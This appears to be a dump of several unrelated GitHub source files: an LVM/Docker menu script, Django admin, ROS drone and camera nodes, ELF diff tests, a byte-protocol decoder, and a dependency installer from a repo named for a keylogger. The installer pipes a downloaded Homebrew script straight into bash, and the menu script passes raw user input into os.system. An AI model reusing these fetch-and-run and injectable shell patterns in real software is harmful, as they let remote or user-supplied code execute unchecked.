\"mkdir /\" + k\n\tmou = \"mount /dev/\"+ v + \"/\" + g + \" \" + k\n\tdis = \"lvdisplay \" + v + \"/\" + g\n\tos.system(\"yum install lvm2 -y\")\n\tos.system(first)\n\tos.system(sec)\n\tos.system(vol)\n\tos.system(lv)\n\tos.system(form)\n\tos.system(dir)\n\tos.system(mou)\n\tprint(os.system(\"lsblk\"))\n\tprint(os.system(dis))\n\tprint(\"Your LV is now created\")\n\ndef lvextend():\n\ts = input(\"Please Enter the Size to Extend: \")\n\tg = input(\"Please Enter the Existing LV Name: \")\n\tv = input(\"Please Enter the Existing VG Name: \")\n\text = \"lvextend --size \" + \"+\" + s + \"G\" + \" /dev/\" + v + \"/\" + g\n\tform = \"resize2fs /dev/\" + v + \"/\" + g\n\tdis = \"lvdisplay \" + v + \"/\" + g\n\tos.system(ext)\n\tos.system(form)\n\tprint(os.system(dis))\n\tprint(\"LV is Extended\")\n\ndef vgextend():\n\tp = input(\"Please tell the Device Name: \")\n\tv = input(\"Please Enter the name of Existing Volume Group Name: \")\n\text = \"vgextend \" + v + \" /dev/\" + p\n\tdis = \"vgdisplay \" + v\n\tos.system(ext)\n\tprint(os.system(dis))\n\tprint(\"Volume Group is Extended\")\n\ndef docker():\n\tos.system(\"yum install git -y\")\n\tos.system(\"git clone https://github.com/rishabhjain1799/docker.git /abc\")\n\tos.system(\"cp /abc/docker.repo /etc/yum.repos.d/\")\n\tos.system(\"cd\")\n\tos.system(\"rm -rf /abc\") \n\tos.system(\"yum install docker-ce --nobest -y\")\n\tprint(\"Your Docker is Installed now.\")\n\ndef start():\n\tn = input(\"Please Enter the Command to Execute: \")\n\ti = input(\"Please Enter the Name of the Running Docker OS: \")\n\tcmd = \"docker exec -it \" + i + \" \" + n\n\tos.system(\"systemctl start docker\")\n\tos.system(cmd)\n\t\n\ndef pull():\n\tn = input(\"Please Enter the Name of the Docker OS: \")\n\ti = input(\"Please Enter the Image for the Docker OS: \")\n\trun = \"docker run -it --name \" + n + \" \" + i\n\tos.system(run)\n\ndef httpd():\n\tn = input(\"Please Enter the Name of the Docker OS: \")\n\ti = input(\"Please Enter the Image for the Docker OS: \")\n\trun = \"docker run -dit --name \" + n + \" \" + i\n\tos.system(\"systemctl start docker\")\n\tos.system(run)\n\tos.system(\"docker exec -it \" + n + \" yum install net-tools -y\")\n\tos.system(\"docker exec -it \" + n + \" yum install httpd -y\")\n\tos.system(\"/usr/sbin/httpd\")\n\ndef python():\n\tn = input(\"Please Enter the Name of the Docker OS: \")\n\ti = input(\"Please Enter the Image for the Docker OS: \")\n\tos.system(\"systemctl start docker\")\n\trun = \"docker run -dit --name \" + n + \" \" + i\n\tos.system(run)\n\tos.system(\"docker exec -it \" + n + \" yum install python3 -y\")\n\tos.system(\"docker exec -it \" + n + \" /bin/bash\")\n\ndef partition():\n\tprint(\"After Entering in the Device:\\n\\n\\t1. Press n to create New Partition.\\n\\t2. Press p to Primary Partition.\\n\\t3. Press e for Extended Partition.\\n\\t4. Press w to save the Partition created.\\n\\t5. Press d to delete the Partition.\\n\\t6. Press q to come out of the Device\\n\\n\")\n\tn = input(\"Please tell the Device name: \")\n\tcmd = \"fdisk /dev/\" + n\n\tos.system(cmd)\n\tos.system(\"udevadm settle\")\n\tos.system(\"mkfs.ext4 /dev/{}\".format(n))\n\tprint(\"Your Partition is now Ready!!\")\n\ndef mount():\n\tx = input(\"Please Enter the Device Name: \")\n\tf = input(\"Please Enter the Folder Name: \")\n\tcmd = \"mount /dev/\" + x + \" \" + \"/\" + f\n\tm = \"mkdir \" + \"/\" + f\n\tos.system(f)\n\tos.system(cmd)\n\tprint(\"Your folder is mounted\")\n\nwhile(True):\n\tx = input(\"\\nPlease Enter Your Choice: \")\n\tos.system(\"clear\")\n\tif x == '1':\n\t\tprint(os.system(\"rpm -q lvm2\"))\n\telif x == '2':\n\t\tprint(os.system(\"lsblk\"))\n\telif x == '3':\n\t\tcreatelv()\n\telif x == '4':\n\t\tlvextend()\n\telif x == '5':\n\t\tvgextend()\t\n\telif x == '6':\n\t\tawsinstall()\n\telif x == '7':\n\t\tiam()\n\telif x == '8':\n\t\taws()\n\telif x == '9':\n\t\tvolume()\n\telif x == '10':\n\t\tinbound()\n\telif x == '11':\n\t\tinstance()\t\n\telif x == '12':\n\t\tattach()\n\telif x == '13':\n\t\tdocker()\n\telif x == '14':\n\t\tstart()\n\telif x == '15':\n\t\tpull()\n\telif x == '16':\n\t\thttpd()\n\telif x == '17':\n\t\tpython()\n\telif x == '18':\n\t\tyum()\n\telif x == '19':\n\t\tpartition()\n\telif x == '20':\n\t\tmount()\t\n\telif x == '21':\n\t\tprint(\"Hope you Enjoyed!! Please Visit Us Again\\n\")\n\t\texit()\n\telse:\n\t\tprint(\"Oops!! You entered something wrong. Bye!!\\n\")\n\t\texit()\t\n","repo_name":"Lucifergene/Arth-Team-Task-8-TUI","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":8089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12587967279","text":"from django.contrib import admin, messages\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.core.handlers.wsgi import WSGIRequest\nfrom django.db import models\nfrom django.utils.translation import gettext_lazy as _\nfrom django.utils.translation import ngettext_lazy\n\nUser = get_user_model()\n\nadmin.site.site_header = \"Task Manager App Admin\"\nadmin.site.site_title = \"Task Manager App\"\n\n\nclass CustomUserAdmin(UserAdmin):\n fieldsets = (\n (None, {\"fields\": (\"username\", \"password\")}),\n (\n _(\"Personal info\"),\n {\n \"fields\": (\n \"first_name\",\n \"last_name\",\n \"email\",\n \"gender\",\n \"role\",\n )\n },\n ),\n )\n search_fields = (\n \"first_name\",\n \"last_name\",\n \"email\",\n )\n list_display = [\n \"first_name\",\n \"last_name\",\n \"gender\",\n \"get_role_display\",\n \"is_active\",\n ]\n list_filter = (\"gender\", \"is_active\", \"role\")\n actions = [\"activate\", \"deactivate\"]\n\n @admin.action(description=\"Deactivate selected users\")\n def deactivate(self, request: WSGIRequest, queryset: models.QuerySet):\n updated = queryset.update(is_active=False)\n self.message_user(\n request,\n ngettext_lazy(\n \"%d user was successfully deactivated.\",\n \"%d users were successfully deactivated.\",\n updated,\n )\n % updated,\n messages.SUCCESS,\n )\n\n @admin.action(description=\"Activate selected users\")\n def activate(self, request: WSGIRequest, queryset: models.QuerySet):\n updated = queryset.update(is_active=True)\n self.message_user(\n request,\n ngettext_lazy(\n \"%d user was successfully activated.\",\n \"%d users were successfully activated.\",\n updated,\n )\n % updated,\n messages.SUCCESS,\n )\n\n\nadmin.site.register(User, CustomUserAdmin)\n","repo_name":"tngeene/django-task-manager","sub_path":"task_manager/apps/login/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"17193806618","text":"#!/usr/bin/env python\n\nimport math\nimport numpy as np\nimport rospy\nimport copy\nimport tf\nfrom waypoint_interpolation import path_generator\n\n# MESSAGES\nfrom std_msgs.msg import Empty, Float64, Header\nfrom geometry_msgs.msg import Twist, PoseStamped, Pose, Point, Quaternion\nfrom sensor_msgs.msg import Image\nfrom nav_msgs.msg import Path\n\nfrom tello_driver.msg import TelloStatus\nfrom tello_driver.srv import MoveUp, MoveDown\nfrom darknet_ros_msgs.msg import BoundingBoxes, ObjectCount\n\n# SERVICES\nfrom drone_controller.srv import SetRefPose, MoveDroneW\n\nROS_RATE = 30 # Hz\n\ndef shutdown_handler():\n rospy.loginfo(\"Shut down\")\n\ndef deg_to_rad(deg):\n deg = normalize_yaw(deg)\n return deg * math.pi / 180\n\ndef normalize_yaw(deg):\n while(deg > 180):\n deg -= 2 * 180\n while(deg < -180):\n deg += 2 * 180\n return deg\n\nclass BBox():\n def __init__(self, bbox_msg):\n self.bbox_width = bbox_msg.xmax - bbox_msg.xmin\n self.bbox_height = bbox_msg.ymax - bbox_msg.ymin\n self.cx = (bbox_msg.xmax + bbox_msg.xmin) / 2.0\n self.cy = (bbox_msg.ymax + bbox_msg.ymin) / 2.0\n self.h_to_w_ratio = self.bbox_width / self.bbox_height\n self.object_class = bbox_msg.Class\n self.prob = bbox_msg.probability\n\n def get_bbox_area(self):\n return self.bbox_width * self.bbox_height\n\nclass AutoRacer():\n def __init__(self):\n rospy.init_node(\"waypoint_mission\", anonymous=True)\n self.rate = rospy.Rate(ROS_RATE)\n self.idx_wp = 0\n self.frame_id = \"map\"\n \n self.home_wp = PoseStamped(header=Header(stamp=rospy.Time.now(), frame_id=self.frame_id),\n pose=Pose(position=Point(0, 0, 1),\n orientation=Quaternion(0, 0, 0, 1)))\n self.wps = []\n\n self.current_pose = copy.deepcopy(self.home_wp)\n self.height = 0\n\n # Information from gate detection algorithm\n first_detected_img = rospy.wait_for_message(\"/darknet_ros/detection_image\", Image)\n self.object_count = 0\n self.zero_object_count = 0\n self.detected_img_width = first_detected_img.width # pylint: disable=no-member\n self.detected_img_height = first_detected_img.height # pylint: disable=no-member\n self.cur_target_bbox = None\n\n self.position_control_command = Twist()\n self.vision_control_command = Twist()\n self.zero_control_command = Twist()\n # self.optitrack_path_msg = Path()\n\n\n # PUBLISHER\n self.pub_take_off = rospy.Publisher('/tello/takeoff', Empty, queue_size=1)\n self.pub_land = rospy.Publisher('/tello/land', Empty, queue_size=1)\n self.pub_control_command = rospy.Publisher('/tello/cmd_vel', Twist, queue_size=1)\n self.pub_fast_mode = rospy.Publisher('/tello/fast_mode', Empty, queue_size=1)\n # self.pub_path = rospy.Publisher(\"/drone_path\", Path, queue_size=1)\n self.pub_err_x_img = rospy.Publisher(\"/err_x_img\", Float64, queue_size=1)\n self.pub_err_y_img = rospy.Publisher(\"/err_y_img\", Float64, queue_size=1)\n \n rospy.loginfo(\"Waiting for /set_ref_pose from drone_controller node\")\n rospy.wait_for_service('/set_ref_pose')\n \n self.update_target_call = rospy.ServiceProxy('/set_ref_pose', SetRefPose)\n self.move_drone_call = rospy.ServiceProxy('/move_drone_w', MoveDroneW)\n self.srv_cli_up = rospy.ServiceProxy('/tello/up', MoveUp)\n self.srv_cli_down = rospy.ServiceProxy('/tello/down', MoveDown)\n\n # SUBSCRIBER\n rospy.logwarn(\"Waiting for /vrpn_client_node/Tello_jed/pose message from Optitrack\")\n rospy.wait_for_message('/vrpn_client_node/Tello_jed/pose', PoseStamped)\n rospy.loginfo(\"/vrpn_client_node/Tello_jed/posepose message received\")\n \n self.sub_pose = rospy.Subscriber('/vrpn_client_node/Tello_jed/pose', PoseStamped, self.cb_pose)\n self.sub_pos_ux = rospy.Subscriber('/pid_roll/control_effort', Float64, self.cb_pos_ux)\n self.sub_pos_uy = rospy.Subscriber('/pid_pitch/control_effort', Float64, self.cb_pos_uy)\n self.sub_pos_uz = rospy.Subscriber('/pid_thrust/control_effort', Float64, self.cb_pos_uz)\n self.sub_pos_uyaw = rospy.Subscriber('/pid_yaw/control_effort', Float64, self.cb_pos_uyaw)\n self.sub_ux_img = rospy.Subscriber(\"/pid_ximg/control_effort\", Float64, self.cb_ux_img)\n self.sub_uz_img = rospy.Subscriber(\"/pid_yimg/control_effort\", Float64, self.cb_uz_img)\n\n self.sub_bbox = rospy.Subscriber(\"/darknet_ros/bounding_boxes\", BoundingBoxes, self.cb_bbox)\n self.sub_obj_count = rospy.Subscriber(\"/darknet_ros/found_object\", ObjectCount, self.cb_obj_count)\n\n self.tello_status_sub = rospy.Subscriber('/tello/status', TelloStatus, self.cb_tello_status)\n\n rospy.sleep(1)\n\n # CALLBACK FUNCTIONS\n def cb_pose(self, msg):\n if self.frame_id != \"world\":\n msg.header.frame_id = self.frame_id\n\n # self.optitrack_path_msg.header = msg.header\n # self.optitrack_path_msg.poses.append(msg)\n # self.pub_path.publish(self.optitrack_path_msg)\n \n # update current position\n self.current_pose = msg\n \n def cb_bbox(self, msg):\n num_bboxes = len(msg.bounding_boxes)\n if num_bboxes == 0:\n # This callback function should NOT be called in this case\n assert(False), \"This callback function should NOT be called in this case\"\n elif num_bboxes == 1:\n # only one bbox\n self.cur_target_bbox = BBox(msg.bounding_boxes[0])\n else:\n # more than one box\n area = [BBox(msg.bounding_boxes[i]).get_bbox_area() for i in range(num_bboxes)]\n max_idx = area.index(max(area))\n self.cur_target_bbox = BBox(msg.bounding_boxes[max_idx])\n\n \n temp_err_x = (self.cur_target_bbox.cx - self.detected_img_width / 2.0) / self.detected_img_width \n temp_err_y = -(self.cur_target_bbox.cy - (self.detected_img_height - 200) / 2.0) / self.detected_img_height\n\n # temp_err_x = (self.cur_target_bbox.cx - self.detected_img_width / 2.0) / self.cur_target_bbox.bbox_width \n # temp_err_y = -(self.cur_target_bbox.cy - (self.detected_img_height - 100) / 2.0) / self.cur_target_bbox.bbox_width \n\n # rospy.loginfo(\"temp_err_x = {}\".format(temp_err_x))\n # rospy.loginfo(\"temp_err_y = {}\".format(temp_err_y))\n\n if abs(temp_err_x) < 0.025:\n temp_err_x = 0\n if abs(temp_err_y) < 0.025:\n temp_err_y = 0\n\n err_gate_x = Float64(temp_err_x)\n err_gate_y = Float64(temp_err_y)\n\n self.pub_err_x_img.publish(err_gate_x)\n self.pub_err_y_img.publish(err_gate_y)\n \n def cb_obj_count(self, msg):\n # pass\n self.object_count = msg.count\n if self.object_count == 0:\n self.zero_object_count += 1\n else:\n self.zero_object_count = 0\n\n def cb_pos_ux(self, msg):\n self.position_control_command.linear.x = msg.data\n\n def cb_pos_uy(self, msg):\n self.vision_control_command.linear.y = msg.data\n self.position_control_command.linear.y = msg.data\n\n def cb_pos_uz(self, msg):\n self.position_control_command.linear.z = msg.data\n\n def cb_pos_uyaw(self, msg):\n self.vision_control_command.angular.y = msg.data\n self.position_control_command.angular.z = msg.data\n \n def cb_ux_img(self, msg):\n self.vision_control_command.linear.x = msg.data\n\n def cb_uz_img(self, msg):\n self.vision_control_command.linear.z = msg.data\n\n def cb_tello_status(self, msg):\n self.height = msg.height_m\n \n # HELPER FUNCTIONS\n def add_wp(self, x, y, z, yaw):\n q_temp = tf.transformations.quaternion_from_euler(0, 0, yaw).tolist()\n wp = PoseStamped(Header(stamp=rospy.Time.now(), frame_id=self.frame_id),\n Pose(position=Point(x, y, z), \n orientation=Quaternion(*q_temp)))\n wp.pose.position.x = x\n wp.pose.position.y = y\n wp.pose.position.z = z\n self.wps.append(wp)\n \n def move_up(self, cm):\n try:\n rospy.loginfo(\"Start to move up %d cm\" % cm)\n res = self.srv_cli_up(cm)\n rospy.loginfo(res)\n return res\n except rospy.ServiceException as e:\n rospy.logerr(\"Service call failed: %s\" % e)\n \n def move_down(self, cm):\n try:\n rospy.loginfo(\"Start to move down %d cm\" % cm)\n res = self.srv_cli_down(cm)\n return res\n except rospy.ServiceException as e:\n rospy.logerr(\"Service call failed: %s\" % e)\n \n def start_mission(self):\n rospy.loginfo(\"Prepare to start the mission\")\n rospy.sleep(1)\n rospy.loginfo(\"Mission started\")\n # self.enter_fast_mode()\n self.set_waypoint(self.wps[self.idx_wp])\n \n while not rospy.is_shutdown():\n if self.object_count == 0:\n self.vision_control_command = Twist()\n self.pub_control_command.publish(self.position_control_command)\n else:\n # self.vision_control_command.linear.y = self.position_control_command.linear.y\n self.pub_control_command.publish(self.vision_control_command)\n\n # self.pub_control_command.publish(self.position_control_command)\n\n if (self.is_next_target_wp_reached(th=0.45)):\n # if self.is_mission_finished():\n # return\n self.update_idx_wp()\n self.set_waypoint(self.wps[self.idx_wp])\n self.rate.sleep()\n\n def update_idx_wp(self):\n self.idx_wp = (self.idx_wp + 1) % (len(self.wps))\n rospy.loginfo(\"Update next waypoint index to %d\" % self.idx_wp)\n\n def is_next_target_wp_reached(self, th=0.30):\n return self._L2_2Ddistance_from(self.wps[self.idx_wp]) < th\n \n def is_home_reached(self, th=0.30):\n return self._L2_2Ddistance_from(self.home_wp) < th\n \n def is_mission_finished(self):\n # index start from zero\n return self.idx_wp == len(self.wps) - 1\n\n def take_off(self):\n rospy.loginfo(\"Taking Off\")\n take_off_msg = Empty()\n self.pub_take_off.publish(take_off_msg)\n rospy.sleep(3)\n rospy.loginfo(\"Taking Off: Finish\")\n\n def enter_fast_mode(self):\n rospy.loginfo(\"Entering Fast Mode\")\n self.pub_fast_mode.publish(Empty())\n rospy.loginfo(\"Entering Fast Mode: Finish\")\n\n def land(self):\n rospy.loginfo(\"Landing: Prepare\")\n self.pub_control_command.publish(self.zero_control_command)\n rospy.sleep(1)\n rospy.loginfo(\"Landing: Start\")\n land_msg = Empty()\n self.pub_land.publish(land_msg)\n rospy.loginfo(\"Landing: Finish\")\n rospy.on_shutdown(shutdown_handler)\n\n def set_waypoint(self, wp):\n assert(isinstance(wp, PoseStamped)), \"wp should be a PoseStamped\"\n try:\n _, _, yaw = self._get_rpy(wp)\n res = self.update_target_call(wp.pose.position.x, \\\n wp.pose.position.y, \\\n wp.pose.position.z, \\\n yaw)\n return res\n except rospy.ServiceException as e:\n rospy.logerr(\"Service call failed: %s\"%e)\n\n def return_home(self):\n rospy.loginfo(\"Mission finished: Returning Home\")\n self.set_home_waypoint()\n while not rospy.is_shutdown():\n self.pub_control_command.publish(self.position_control_command)\n if (self.is_home_reached()):\n rospy.loginfo(\"Mission finished: Home Reached\")\n return\n self.rate.sleep()\n \n def set_home_waypoint(self):\n try:\n _, _, yaw = self._get_rpy(self.home_wp)\n res = self.update_target_call(self.home_wp.pose.position.x, \\\n self.home_wp.pose.position.y, \\\n self.home_wp.pose.position.z, \\\n yaw)\n return res\n except rospy.ServiceException as e:\n rospy.logerr(\"Service call failed: %s\"%e)\n \n def initialize_wps(self):\n # start\n self.add_wp(-1.70, -0.60, 0.51, deg_to_rad(-90))\n\n # gate 1\n self.add_wp(1.33 - 0.30, -0.7, 0.60, deg_to_rad(-90))\n self.add_wp(1.33 + 0.60, -0.7, 0.60, deg_to_rad(-90))\n\n # U-turn after gate1\n self.add_wp(2.12, 0.00, 0.51, deg_to_rad(0))\n self.add_wp(2.00, 0.80, 0.51, deg_to_rad(90))\n # self.add_wp(1.60, 0.80, 0.51, deg_to_rad(90))\n\n # gate 2\n self.add_wp(-0.80 + 0.30, 0.76, 0.52, deg_to_rad(90))\n self.add_wp(-0.80 - 0.60, 0.76, 0.52, deg_to_rad(90))\n\n # U-turn after gate2\n self.add_wp(-2.30, 0.06, 0.52, deg_to_rad(130))\n self.add_wp(-2.00, -0.60, 0.52, deg_to_rad(180))\n \n\n self.wps = path_generator(self.wps, 0.08).poses\n\n \n\n def run(self):\n self.initialize_wps()\n self.take_off()\n self.start_mission()\n self.return_home()\n self.land()\n\n # INTERNAL_FUNCTION\n \n def _get_rpy(self, wp):\n '''\n return the [roll, pitch, yaw] of the waypoint (wp)\n type: list of len(3) = len([roll, pitch, yaw])\n '''\n assert(isinstance(wp, PoseStamped)), \"wp should be a PoseStamped\"\n q = wp.pose.orientation\n return tf.transformations.euler_from_quaternion((q.x, q.y, q.z, q.w))\n \n def _calculate_z_bias(self, sensor_heights, orb_heights, orb_scale):\n return np.median(sensor_heights) - np.median(orb_heights * orb_scale)\n \n def _L2_distance_from(self, target_wp):\n assert (isinstance(target_wp, PoseStamped)), \"target_wp must be a PoseStamped\"\n return math.sqrt((self.current_pose.pose.position.x - target_wp.pose.position.x) ** 2 + \\\n (self.current_pose.pose.position.y - target_wp.pose.position.y) ** 2 + \\\n (self.current_pose.pose.position.z - target_wp.pose.position.z) ** 2)\n \n def _L2_2Ddistance_from(self, target_wp):\n assert (isinstance(target_wp, PoseStamped)), \"target_wp must be a PoseStamped\"\n return math.sqrt((self.current_pose.pose.position.x - target_wp.pose.position.x) ** 2 + \\\n (self.current_pose.pose.position.y - target_wp.pose.position.y) ** 2)\n \n\nif __name__ == '__main__':\n try:\n auto_racer = AutoRacer()\n\n auto_racer.run()\n\n rospy.spin()\n \n except rospy.ROSInterruptException:\n auto_racer.land()\n","repo_name":"surfii3z/drone_controller","sub_path":"scripts/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":14843,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"71"} +{"seq_id":"33233587981","text":"import rclpy\nfrom rclpy.node import Node\n\nfrom sensor_msgs.msg import Image\n\nimport cv2\nfrom cv_bridge import CvBridge\n\nbridge = CvBridge()\n\nclass VideoStream(Node):\n def __init__(self, src=0):\n super().__init__('video_stream')\n\n self.frame_publisher_ = self.create_publisher(Image, '/camera/video', 10)\n\n fps = 24.\n\n self.timer = self.create_timer(1./fps, self.publish_frame)\n\n # initialize the video camera stream and read the first frame\n # from the stream\n self.stream = cv2.VideoCapture(src)\n self.stream.set(cv2.CAP_PROP_FRAME_WIDTH,320)\n self.stream.set(cv2.CAP_PROP_FRAME_HEIGHT,240)\n\n def publish_frame(self):\n ret, frame = self.stream.read()\n if ret:\n msg = bridge.cv2_to_imgmsg(frame, encoding=\"passthrough\")\n self.frame_publisher_.publish(msg)\n\n\ndef main(args=None):\n rclpy.init(args=args)\n\n video_stream = VideoStream()\n\n rclpy.spin(video_stream)\n\n # Destroy the node explicitly\n # (optional - otherwise it will be done automatically\n # when the garbage collector destroys the node object)\n video_stream.destroy_node()\n rclpy.shutdown()\n\nif __name__ == '__main__':\n main()","repo_name":"hoomic/cat_laser_ros2","sub_path":"cat_laser/video_streamer.py","file_name":"video_streamer.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"72712580390","text":"import os.path\nimport shutil\nimport pytest\nfrom debbindiff.comparators.elf import compare_elf_files, compare_static_lib_files\n\nTEST_OBJ1_PATH = os.path.join(os.path.dirname(__file__), '../data/test1.o') \nTEST_OBJ2_PATH = os.path.join(os.path.dirname(__file__), '../data/test2.o') \n\ndef test_obj_no_differences():\n difference = compare_elf_files(TEST_OBJ1_PATH, TEST_OBJ1_PATH)\n assert difference is None\n\n@pytest.fixture\ndef obj_differences():\n return compare_elf_files(TEST_OBJ1_PATH, TEST_OBJ2_PATH).details\n\ndef test_diff(obj_differences):\n assert len(obj_differences) == 1\n expected_diff = open(os.path.join(os.path.dirname(__file__), '../data/elf_obj_expected_diff')).read()\n assert obj_differences[0].unified_diff == expected_diff\n\nTEST_LIB1_PATH = os.path.join(os.path.dirname(__file__), '../data/test1.a') \nTEST_LIB2_PATH = os.path.join(os.path.dirname(__file__), '../data/test2.a') \n\ndef test_lib_no_differences():\n difference = compare_elf_files(TEST_LIB1_PATH, TEST_LIB1_PATH)\n assert difference is None\n\n@pytest.fixture\ndef lib_differences():\n return compare_static_lib_files(TEST_LIB1_PATH, TEST_LIB2_PATH).details\n\ndef test_lib_differences(lib_differences):\n assert len(lib_differences) == 2\n assert lib_differences[0].source1 == 'metadata'\n expected_metadata_diff = open(os.path.join(os.path.dirname(__file__), '../data/elf_lib_metadata_expected_diff')).read()\n assert lib_differences[0].unified_diff == expected_metadata_diff\n assert 'objdump' in lib_differences[1].source1\n expected_objdump_diff = open(os.path.join(os.path.dirname(__file__), '../data/elf_lib_objdump_expected_diff')).read()\n assert lib_differences[1].unified_diff == expected_objdump_diff\n","repo_name":"dezgeg/debbindiff","sub_path":"tests/comparators/test_elf.py","file_name":"test_elf.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"39867152276","text":"# encoding:utf-8\nfrom .protocol import Protocol\nfrom .protocol import find_head\nfrom .codec import BinaryEncoder\nfrom tools.converter import hexstr2bytes, str2hexstr\nfrom .data_container import *\nimport time\nimport struct\nfrom protocol.data_container import DataStruct\nIMG0203_HEAD = bytes([0x54,0x17,0xfe,0x02])\nIMG0203_TAIL = 0x03\n\n\nclass ThremalImageData(DataStruct):\n def __init__(self, width, height, data):\n self.width = width\n self.height = height\n self.data = data\n\n def get_data(self):\n return self.data\n\n def __str__(self):\n return \"img data\"\n\n\n# 'u8:STC=0x02 u8:CMD u32:Length byte[Length]:Data u8:CS u8:END=0x03'\n\nclass ImageProtocol0203(Protocol):\n\n def __init__(self):\n super(ImageProtocol0203, self).__init__()\n self.image_data = None\n self.did_unit = None\n\n @staticmethod\n def create_frame(*args, **kwargs):\n protocol = ImageProtocol0203()\n protocol.did_unit = args[0]\n return protocol\n\n def __str__(self):\n if self.did_unit:\n return str2hexstr(self.did_unit)\n if self.image_data is not None:\n return str(self.image_data)\n return \"not handle data\"\n\n def encode(self, encoder):\n encoder.encode_bytes(self.did_unit)\n return encoder.encode_char(5)\n\n def decode(self, decoder):\n decoder.decode_bytes(1) # skip start\n cmd = decoder.decode_bytes(1)\n self.length = decoder.decode_uint()\n self.width = decoder.decode_u16()\n self.height = decoder.decode_u16()\n self.image_data = decoder.decode_bytes (self.width*self.height*2)\n return ThremalImageData(self.width, self.height, self.image_data)\n\n @staticmethod\n def find_frame_in_buff(data):\n start_pos = 0\n total_len = len(data)\n show_time = False\n start = time.time()\n assert not isinstance(data, str)\n while start_pos < (len(data) - 11):\n start_pos = find_head(data, start_pos, IMG0203_HEAD)\n if start_pos == -1:\n break\n start_pos += 3 #skip head\n frame_data = data[start_pos:]\n\n if len(frame_data) < 8:\n break\n data_len = struct.unpack(\"I\", frame_data[2:6])[0]\n if data_len + 8 > len(frame_data):\n start_pos += 1\n continue\n if frame_data[6 + data_len] != checksum(frame_data[1:data_len + 6]):\n print(\"check error\")\n show_time = True\n \n if frame_data[7 + data_len] != IMG0203_TAIL:\n start_pos += 1\n show_time = True\n print(\"tail error\")\n else:\n return True,start_pos,data_len+8\n if(show_time):\n print(\"time const:\" ,time.time()-start,\"data length\",total_len)\n return False, 0, 0","repo_name":"chopin1993/protocolmaster-20210731","sub_path":"source/protocol/image_0203_protocol.py","file_name":"image_0203_protocol.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"9192108593","text":"import sys, os, platform, subprocess, threading\n\nif len(sys.argv) != 2:\n\tprint(\"Usage: python3.x \")\n\tsys.exit(1)\n\nsystem_name = platform.system().lower()\narchitecture = platform.architecture()[0]\nwhl_installed = False\npython_version = ''.join(platform.python_version().split('.')[:2])\n\npyaudio_wheels32 = [\n\t\"PyAudio‑0.2.11‑cp39‑cp39‑win32.whl\",\n\t\"PyAudio‑0.2.11‑cp38‑cp38‑win32.whl\",\n\t\"PyAudio‑0.2.11‑cp37‑cp37m‑win32.whl\",\n\t\"PyAudio‑0.2.11‑cp36‑cp36m‑win32.whl\",\n\t\"PyAudio‑0.2.11‑cp35‑cp35m‑win32.whl\",\n\t\"PyAudio‑0.2.11‑cp34‑cp34m‑win32.whl\",\n\t\"PyAudio‑0.2.11‑cp27‑cp27m‑win32.whl\"\n]\n\npyaudio_wheels64 = [\n\t\"PyAudio‑0.2.11‑cp39‑cp39‑win_amd64.whl\",\n\t\"PyAudio‑0.2.11‑cp38‑cp38‑win_amd64.whl\",\n\t\"PyAudio‑0.2.11‑cp37‑cp37m‑win_amd64.whl\",\n\t\"PyAudio‑0.2.11‑cp36‑cp36m‑win_amd64.whl\",\n\t\"PyAudio‑0.2.11‑cp35‑cp35m‑win_amd64.whl\",\n\t\"PyAudio‑0.2.11‑cp34‑cp34m‑win_amd64.whl\",\n\t\"PyAudio‑0.2.11‑cp27‑cp27m‑win_amd64.whl\"\n]\n\ntry:\n\tsubprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"-r\", sys.argv[1]])\nexcept subprocess.CalledProcessError as err:\n\tprint(err)\n\nif system_name == 'windows':\n\tdef download_wheel(whl):\n\t\tsubprocess.check_call([\"curl\", f\"https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyaudio/{whl}\", \"-o\", whl])\n\n\n\tdef install_wheel(whl):\n\t\tsubprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", whl])\n\n\n\tpy_whl = None\n\tif architecture == '32bit':\n\t\tfor whl in pyaudio_wheels32:\n\t\t\tif python_version in whl:\n\t\t\t\tpy_whl = whl\n\t\t\t\tbreak\n\telif architecture == '64bit':\n\t\tfor whl in pyaudio_wheels64:\n\t\t\tif python_version in whl:\n\t\t\t\tpy_whl = whl\n\n\tif py_whl is not None:\n\t\ttry:\n\t\t\tdownload_thread = threading.Thread(target=download_wheel, args=(py_whl,), daemon=True)\n\t\t\tdownload_thread.start()\n\t\t\tdownload_thread.join()\n\n\t\t\tinstall_thread = threading.Thread(target=install_wheel, args=(py_whl,), daemon=True)\n\t\t\tinstall_thread.start()\n\t\t\tinstall_thread.join()\n\n\t\t\tos.remove(py_whl)\n\t\t\twhl_installed = True\n\t\texcept subprocess.CalledProcessError as err:\n\t\t\tprint(err)\nelif system_name == 'darwin':\n\tdef download_brew():\n\t\tsubprocess.check_call([\"/bin/bash\", \"-c\", \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"])\n\n\ttry:\n\t\tdownload_thread = threading.Thread(target=download_brew, daemon=True)\n\t\tdownload_thread.start()\n\t\tdownload_thread.join()\n\n\t\tsubprocess.check_call([\"xcode-select\", \"--install\"])\n\t\tsubprocess.check_call([\"brew\", \"install\", \"portaudio\"])\n\t\tsubprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"pyaudio\"])\n\texcept subprocess.CalledProcessError as err:\n\t\tprint(err)\n","repo_name":"zsfelmeri/Keylogger_collegeCertificate","sub_path":"src/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} 